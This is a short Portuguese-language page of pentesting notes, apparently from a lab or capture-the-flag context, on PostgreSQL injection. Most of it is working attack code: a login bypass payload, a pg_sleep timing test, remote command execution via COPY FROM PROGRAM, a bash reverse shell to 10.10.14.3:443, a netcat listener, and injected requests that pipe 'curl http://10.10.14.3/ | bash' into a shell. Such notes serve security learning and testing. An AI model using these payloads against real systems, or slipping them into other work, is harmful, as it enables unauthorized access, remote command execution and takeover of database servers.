> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md).
# Injeção PostgreSQL
{% hint style="info" %}
PostgreSQL é um sistema de gerenciamento de banco de dados objeto-relacional poderoso e de código aberto, capaz de lidar com segurança com as cargas de dados mais complexas.
{% endhint %}
Durante o envio dessas credenciais:
```sql
username: '
password: '
```
Ocorre um erro SQL, fornecendo uma base PostgreSQL com `pg_query`.
### **Exploração**
Teste uma injeção de payload clássica:
```vbnet
username: ' OR 1=1-- -
password: anything
```
Obtemos acesso ao painel de administração do Dashboard.
Intercepte as requisições com **Burp Suite** e use recursos como **HackTricks** para ajustar as injeções.
{% embed url="" %}
#### Para testar se a injeção permite a execução de comandos, use:
`;select pg_sleep(10);-- -` Se a resposta levar 10 segundos, a injeção é explorável.
### **Execução de comandos**
Aqui está um exemplo para obter uma execução remota de comandos (RCE):
```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
```
Crie um arquivo `index.html` contendo:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```
Inicie um servidor HTTP:
```bash
python3 -m http.server 80
```
Configure um listener:
```bash
nc -nvlp 443
```
Envie o payload:
```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d
```
---
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